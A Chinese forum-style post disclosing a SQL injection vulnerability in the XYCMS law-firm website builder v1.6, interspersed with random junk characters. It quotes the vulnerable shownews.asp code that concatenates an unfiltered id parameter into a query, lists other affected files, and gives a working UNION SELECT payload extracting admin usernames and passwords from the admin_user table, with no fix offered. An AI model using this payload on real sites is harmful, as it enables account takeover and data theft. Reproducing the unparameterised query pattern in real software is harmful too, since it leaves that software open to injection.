XYCMS律师事务所建站系统注入漏洞

admin

前言：刚才蛋疼无聊下载了审计下,就稍微的看了下，漏洞太多。ps：跟有个投稿的板块文章有点类似
( w/ u% }( ^& [/ y( X
- h( i9 v8 h; m/ K) u& F. d淫荡分割线
--------------------------------------------------------
! V+ r8 }3 B' W7 Z
审计版本：XYCMS律师事务所建站系统 v1.6(其他版本自测)
( ]; O3 H0 @: V3 K7 V( o' i" N源码地址:http://down.chinaz.com/soft/29233.htm

! h, E9 P- c6 p- Y; j' v漏洞文件:shownews.asp
5 A9 N7 H( {% ]) l( m漏洞代码：7-13行
2 Q0 {) s, {* s) }5 G- }

<%
id=request.QueryString("id")
, w1 z5 Q3 [. v5 i   
set snews=server.createobject("adodb.recordset")
exec="select * from [news] where id="&id
2 G$ U4 X7 ^& {) Jsnews.open exec,conn,1,1
8 S- y; X9 u4 `" F$ Y%>


什么过滤都没有  直造成注入
: l* s: Q$ j+ e+ m% ~
% Y2 {$ U' \* i7 B! C注入点:http://127.0.0.1:99/shownews.asp?id=xx

1 [7 k, i0 v$ }' n8 I6 T0 |其余相同漏洞文件:showdxal.asp,showfwly.asp 等等自己找
  H$ b: L9 V9 H% O
8 I" r  \7 m9 @( ]& C
5 A- K& ]) z1 fexp: union select 1,admin,password,4,5,7 from admin_user
, z! K# T$ z5 h$ x​
5 B' K. {" o- ?& m) M! _0 Z